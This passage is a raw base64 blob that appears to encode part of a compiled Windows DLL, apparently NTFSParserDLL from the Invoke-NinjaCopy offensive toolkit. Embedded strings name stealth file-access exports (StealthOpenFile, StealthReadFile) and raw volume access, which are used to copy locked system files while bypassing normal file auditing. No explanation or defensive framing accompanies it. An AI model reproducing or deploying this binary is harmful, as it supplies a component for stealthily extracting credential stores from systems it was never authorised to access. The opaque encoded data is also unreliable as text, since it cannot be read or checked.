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EQAE0BEAAAAAA8TAEQAAAAAFhMARAAAAAAdEwBEAAAAACQTAEQAAAAAKxMARAAAAAAyEwBEORMARAAAAAA5EwBEAAAAAAATQEQAAAAABh/ARACAAAAAAAAAP////8AAAAAQAAAABxNARBIfwEQAgAAAAAAAAD/////AAAAAEAAAAAsTQEQfH8BEAIAAAAAAAAA/////wAAAABAAAAAPE0BEKh/ARACAAAAAAAAAP////8AAAAAQAAAAExNARDYfwEQAgAAAAAAAAD/////AAAAAEAAAABcTQEQCIABEAIAAAAAAAAA/////wAAAABAAAAAbE0BEDyAARAAAAAAAAAAAP////8AAAAAQAAAAHxNARBkgAEQAgAAAAAAAAD/////AAAAAEAAAACMTQEQcIEBEAAAAAAoAAAA/////wAAAABAAAAAHE4BEISAARADAAAAAAAAAP////8AAAAAQAAAAJxNARCkgAEQAQAAAAAAAAD/////AAAAAEAAAACsTQEQwIABEAIAAAAAAAAA/////wAAAABAAAAAvE0BENyAARACAAAAAAAAAP////8AAAAAQAAAAMxNARAgggEQAAAAACgAAAD/////AAAAAEAAAABsTgEQ+IABEAMAAAAAAAAA/////wAAAABAAAAA3E0BEBiBARACAAAAAAAAAP////8AAAAAQAAAAOxNARA0gQEQAQAAAAAAAAD/////AAAAAEAAAAD8TQEQVIEBEAEAAAAAAAAA/////wAAAABAAAAADE4BEHCBARAAAAAAAAAAAP////8AAAAAQAAAABxOARCYgQEQAAAAAAAAAAD/////AAAAAEAAAAAsTgEQxIEBEAAAAAAAAAAA/////wAAAABAAAAAPE4BEOiBARAAAAAAAAAAAP////8AAAAAQAAAAExOARAEggEQAAAAAAAAAAD/////AAAAAEAAAABcTgEQOIIBEAEAAAAAAAAA/////wAAAABAAAAAfE4BECCCARAAAAAAAAAAAP////8AAAAAQAAAAGxOARBUggEQAAAAAAAAAAD/////AAAAAEAAAACMTgEQAAAAAAAAAAADAAAADEkBEAAAAAAAAAAAAwAAABxJARAAAAAAAAAAAAMAAAAsSQEQAAAAAAAAAAADAAAAPEkBEAAAAAAAAAAAAwAAAExJARAAAAAAAAAAAAMAAABcSQEQAAAAAAAAAAABAAAAbEkBEAAAAAAAAAAAAwAAAHRJARAAAAAAAQAAAAQAAACESQEQAAAAAAAAAAACAAAAmEkBEAAAAAAAAAAAAwAAAKRJARAAAAAAAAAAAAMAAAC0SQEQAAAAAAEAAAAEAAAAxEkBEAAAAAAAAAAAAwAAANhJARAAAAAAAAAAAAIAAADoSQEQAAAAAAAAAAACAAAA9EkBEAAAAAAAAAAAAQAAAABKARAAAAAAAAAAAAEAAAAISgEQAAAAAAAAAAABAAAAEEoBEAAAAAAAAAAAAQAAABhKARAAAAAAAAAAAAEAAAAgSgEQAAAAAAAAAAABAAAANEoBEAAAAAAAAAAAAgAAAChKARAAAAAAAAAAAAEAAAA8SgEQAAAAAAAAAAAAAAAAGH8BEBxNARAAAAAAAAAAAAAAAABIfwEQLE0BEAAAAAAAAAAAAAAAAHx/ARA8TQEQAAAAAAAAAAAAAAAAqH8BEExNARAAAAAAAAAAAAAAAADYfwEQXE0BEAAAAAAAAAAAAAAAAAiAARBsTQEQAAAAAAAAAAAAAAAAPIABEHxNARAAAAAAAAAAAAAAAABkgAEQjE0BEAAAAAAoAAAAAAAAAISAARCcTQEQAAAAAAAAAAAAAAAAhIABEJxNARAAAAAAAAAAAAAAAACkgAEQrE0BEAAAAAAAAAAAAAAAAMCAARC8TQEQAAAAAAAAAAAAAAAA3IABEMxNARAAAAAAKAAAAAAAAAD4gAEQ3E0BEAAAAAAAAAAAAAAAAPiAARDcTQEQAAAAAAAAAAAAAAAAIIIBEGxOARAAAAAAAAAAAAAAAAAYgQEQ7E0BEAAAAAAAAAAAAAAAADSBARD8TQEQAAAAAAAAAAAAAAAAVIEBEAxOARAAAAAAAAAAAAAAAABwgQEQHE4BEAAAAAAAAAAAAAAAAJiBARAsTgEQAAAAAAAAAAAAAAAAxIEBEDxOARAAAAAAAAAAAAAAAADogQEQTE4BEAAAAAAAAAAAAAAAAASCARBcTgEQAAAAAAAAAAAAAAAAOIIBEHxOARAAAAAAAAAAAAAAAABUggEQjE4BEAAAAAAAAAAAAAAAAExqAAB9agAA8HUAALC8AADw2gAAUOYAAHDmAACu5gAA/uYAADjnAABo5wAAo+cAANPnAAAD6AAAKOgAAH/oAAC46AAA6OgAACbpAAC+6QAA6+kAACPqAABL6gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeE8AEAAAAAAwUQEQAgAAADxRARBYUQEQAAAAAABwARAAAAAA/////wAAAAAMAAAADE8AEAAAAAAccAEQAAAAAP////8AAAAADAAAAG9uABAAAAAAOHABEAAAAAD/////AAAAAAwAAABCTwAQAAAAAINPABAAAAAAoFEBEAMAAACwUQEQdFEBEFhRARAAAAAAWHABEAAAAAD/////AAAAAAwAAAAnTwAQAAAAAINPABAAAAAA3FEBEAMAAADsUQEQdFEBEFhRARAAAAAAeHABEAAAAAD/////AAAAAAwAAABdTwAQ/v///wAAAADU////AAAAAP7///8AAAAAKlcAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAAC+XAAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAC1dABAAAAAA/v///wAAAADM////AAAAAP7///9sXQAQlV0AEAAAAAD+////AAAAANj///8AAAAA/v///wAAAADsYAAQAAAAAP7///8AAAAA1P///wAAAAD+////hGIAEJ5iABAAAAAA/v///wAAAADE////AAAAAP7///8AAAAAX3QAEAAAAAD+////AAAAANT///8AAAAA/v///wAAAABEewAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAAd/ABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAsoIAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAAAzhAAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAAGIABD+////AAAAAA2IABD+////AAAAANj///8AAAAA/v///wAAAABxiQAQ/v///wAAAACAiQAQ/v///wAAAADY////AAAAAP7///+ijQAQpo0AEAAAAAD+////AAAAANj///8AAAAA/v///26NABByjQAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAANKOABAAAAAA/v///wAAAAB8////AAAAAP7///8AAAAA86IAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAABFtAAQAAAAAAq0ABAUtAAQ/v///wAAAACw////AAAAAP7///8AAAAAO6oAEAAAAACHqQAQkakAEP7///8AAAAA2P///wAAAAD+////qbEAEK2xABAAAAAA/v///wAAAADY////AAAAAP7///98qAAQhagAEEAAAAAAAAAAAAAAAOiqABD/////AAAAAP////8AAAAAAAAAAAAAAAABAAAAAQAAAMRUARAiBZMZAgAAANRUARABAAAA5FQBEAAAAAAAAAAAAAAAAAEAAAAAAAAA/v///wAAAADU////AAAAAP7///8nswAQK7MAEAAAAADCqAAQAAAAAExVARACAAAAWFUBEFhRARAAAAAA8HkBEAAAAAD/////AAAAAAwAAACnqAAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAABm3ABAAAAAA/v///wAAAADY////AAAAAP7///9JuAAQXLgAEAAAAAD+////AAAAALz///8AAAAA/v///wAAAAB4ugAQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAFfOABAAAAAA/v///wAAAADI////AAAAAP7///8AAAAAedcAEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAACn3QAQAAAAAAAAAABx3QAQ/v///wAAAADQ////AAAAAP7///8AAAAARd8AEAAAAAD+////AAAAANj///8AAAAA/v///wAAAADR3wAQAAAAAP7///8AAAAAzP///wAAAAD+////AAAAACrjABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAJuQAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAAA/5QAQIgWTGQQAAAAAVwEQAgAAACBXARAAAAAAAAAAAAAAAAABAAAA/////wAAAAD/////AAAAAAEAAAAAAAAAAQAAAAAAAAACAAAAAgAAAAMAAAABAAAASFcBEAAAAAAAAAAAAwAAAAEAAABYVwEQQAAAAAAAAAAAAAAAMhYAEEAAAAAAAAAAAAAAAPUVABAiBZMZAQAAAIxXARAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////4OgAECIFkxkBAAAAuFcBEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////+w6AAQIgWTGQEAAADkVwEQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/////2DnABAiBZMZAQAAABBYARAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////MOcAECIFkxkDAAAAPFgBEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP/////g5gAQAAAAAOjmABABAAAA8+YAECIFkxkDAAAAeFgBEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////+Q5gAQAAAAAJjmABABAAAAo+YAECIFkxkDAAAAtFgBEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////9Q6AAQ/////1voABAAAAAAcegAECIFkxkBAAAA8FgBEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////9A6gAQIgWTGQoAAAAgWQEQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAP////9Q6QAQ/////1vpABD/////ZukAEP////9x6QAQ/////3zpABD/////h+kAEP////+S6QAQ/////53pABD/////qOkAEP////+z6QAQIgWTGQEAAACUWQEQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/////xDpABAiBZMZAQAAAMBZARAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////4OkAECIFkxkCAAAA7FkBEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////8Q6gAQAAAAABvqABAiBZMZAgAAACBaARAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////8OcAEAAAAAD45wAQIgWTGQEAAABUWgEQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/////yDoABAiBZMZAgAAAIBaARAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////wOcAEAAAAADI5wAQIgWTGQIAAAC0WgEQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/////5DnABAAAAAAmOcAEOxaAQAAAAAAAAAAAHJcAQAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAD8WwEAElwBACRcAQA0XAEAQFwBAFZcAQBkXAEAgFwBAJBcAQCgXAEAtFwBANBcAQDiXAEA+FwBAApdAQAWXQEALl0BADxdAQBSXQEAZF0BAHBdAQB4XQEAiF0BAJRdAQCqXQEAtl0BAMJdAQDaXQEA7F0BAPZdAQACXgEADl4BACBeAQAwXgEATF4BAGpeAQCSXgEApl4BALpeAQDGXgEA1F4BAOJeAQDsXgEA/l4BABJfAQAkXwEAMl8BAEpfAQBgXwEAel8BAJBfAQCqXwEAxF8BAN5fAQD2XwEADmABACBgAQAuYAEARGABAFRgAQBkYAEAdGABAIZgAQCaYAEAqmABALpgAQDOYAEAAAAAABEFV2lkZUNoYXJUb011bHRpQnl0ZQBmBFNldEZpbGVQb2ludGVyAAACAkdldExhc3RFcnJvcgAAwANSZWFkRmlsZQAAZwNNdWx0aUJ5dGVUb1dpZGVDaGFyAFIAQ2xvc2VIYW5kbGUAiABDcmVhdGVGaWxlQQBLRVJORUwzMi5kbGwAAOoARW5jb2RlUG9pbnRlcgDKAERlY29kZVBvaW50ZXIAAANJc0RlYnVnZ2VyUHJlc2VudAAEA0lzUHJvY2Vzc29yRmVhdHVyZVByZXNlbnQAhgFHZXRDb21tYW5kTGluZUEAxQFHZXRDdXJyZW50VGhyZWFkSWQAALEDUmFpc2VFeGNlcHRpb24AABgEUnRsVW53aW5kAOsCSW50ZXJsb2NrZWREZWNyZW1lbnQAABkBRXhpdFByb2Nlc3MAFwJHZXRNb2R1bGVIYW5kbGVFeFcAAEUCR2V0UHJvY0FkZHJlc3MAANQCSGVhcFNpemUAALIEU2xlZXAAZAJHZXRTdGRIYW5kbGUAACUFV3JpdGVGaWxlABQCR2V0TW9kdWxlRmlsZU5hbWVXAADPAkhlYXBGcmVlAADLAkhlYXBBbGxvYwDvAkludGVybG9ja2VkSW5jcmVtZW50AAAKA0lzVmFsaWRDb2RlUGFnZQBoAUdldEFDUAAANwJHZXRPRU1DUAAAcgFHZXRDUEluZm8AaQJHZXRTdHJpbmdUeXBlVwAAcwRTZXRMYXN0RXJyb3IAANMEVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAAClBFNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgDjAkluaXRpYWxpemVDcml0aWNhbFNlY3Rpb25BbmRTcGluQ291bnQAwAFHZXRDdXJyZW50UHJvY2VzcwDABFRlcm1pbmF0ZVByb2Nlc3MAAMUEVGxzQWxsb2MAAMcEVGxzR2V0VmFsdWUAyARUbHNTZXRWYWx1ZQDGBFRsc0ZyZWUAYwJHZXRTdGFydHVwSW5mb1cAGAJHZXRNb2R1bGVIYW5kbGVXAABKAkdldFByb2Nlc3NIZWFwAADzAUdldEZpbGVUeXBlANEARGVsZXRlQ3JpdGljYWxTZWN0aW9uABMCR2V0TW9kdWxlRmlsZU5hbWVBAACnA1F1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyAMEBR2V0Q3VycmVudFByb2Nlc3NJZAB5AkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lANoBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAYQFGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwDuAEVudGVyQ3JpdGljYWxTZWN0aW9uAAA5A0xlYXZlQ3JpdGljYWxTZWN0aW9uAAA+A0xvYWRMaWJyYXJ5RXhXAADSAkhlYXBSZUFsbG9jAIoDT3V0cHV0RGVidWdTdHJpbmdXAAA/A0xvYWRMaWJyYXJ5VwAALQNMQ01hcFN0cmluZ1cAAJoBR2V0Q29uc29sZUNQAACsAUdldENvbnNvbGVNb2RlAABnBFNldEZpbGVQb2ludGVyRXgAAIcEU2V0U3RkSGFuZGxlAAAkBVdyaXRlQ29uc29sZVcAVwFGbHVzaEZpbGVCdWZmZXJzAACPAENyZWF0ZUZpbGVXAAAAAAAAAAAA0BUUUgAAAAAmYQEAAQAAAAMAAAADAAAACGEBABRhAQAgYQEAQEIAAIA+AACAQQAAOGEBAElhAQBZYQEAAAABAAIATlRGU1BhcnNlckRMTC5kbGwAU3RlYWx0aENsb3NlRmlsZQBTdGVhbHRoT3BlbkZpbGUAU3RlYWx0aFJlYWRGaWxlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACk/wAQAAAAAC4/QVZiYWRfYWxsb2NAc3RkQEAApP8AEAAAAAAuP0FWZXhjZXB0aW9uQHN0ZEBAAKT/ABAAAAAALj9BVmxvZ2ljX2Vycm9yQHN0ZEBAAAAApP8AEAAAAAAuP0FWbGVuZ3RoX2Vycm9yQHN0ZEBAAACk/wAQAAAAAC4/QVZvdXRfb2ZfcmFuZ2VAc3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AAAAAAAAAAAAAAAAAAAAAAABbcABAW3AAQFtwAEBbcABAW3AAQFtwAEBbcABAW3AAQFtwAEBbcABAAAAAAAAAAAGh7ARAuAAAAZHsBEDyQARA8kAEQPJABEDyQARA8kAEQPJABEDyQARA8kAEQPJABEH9/f39/f39/uHsBEECQARBAkAEQQJABEECQARBAkAEQQJABEECQARAuAAAAAAAAAIg7ARCKPQEQgJABEAAAAACAkAEQAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAWTGQAAAAAAAAAAAAAAAP7///8AAAAAAAAAAAAAAACk/wAQAAAAAC4/QVZfSW9zdHJlYW1fZXJyb3JfY2F0ZWdvcnlAc3RkQEAAAKT/ABAAAAAALj9BVl9TeXN0ZW1fZXJyb3JfY2F0ZWdvcnlAc3RkQEAAAAAApP8AEAAAAAAuP0FWZXJyb3JfY2F0ZWdvcnlAc3RkQEAAAAAApP8AEAAAAAAuP0FWX0dlbmVyaWNfZXJyb3JfY2F0ZWdvcnlAc3RkQEAAAACk/wAQAAAAAC4/QVY/JENBdHRyX0JpdG1hcEBWQ0F0dHJSZXNpZGVudEBAQEAAAACk/wAQAAAAAC4/QVY/JENBdHRyX0JpdG1hcEBWQ0F0dHJOb25SZXNpZGVudEBAQEAAAAAApP8AEAAAAAAuP0FWPyRDQXR0cl9EYXRhQFZDQXR0clJlc2lkZW50QEBAQACk/wAQAAAAAC4/QVY/JENBdHRyX0RhdGFAVkNBdHRyTm9uUmVzaWRlbnRAQEBAAACk/wAQAAAAAC4/QVY/JENBdHRyX0F0dHJMaXN0QFZDQXR0clJlc2lkZW50QEBAQACk/wAQAAAAAC4/QVY/JENBdHRyX0F0dHJMaXN0QFZDQXR0ck5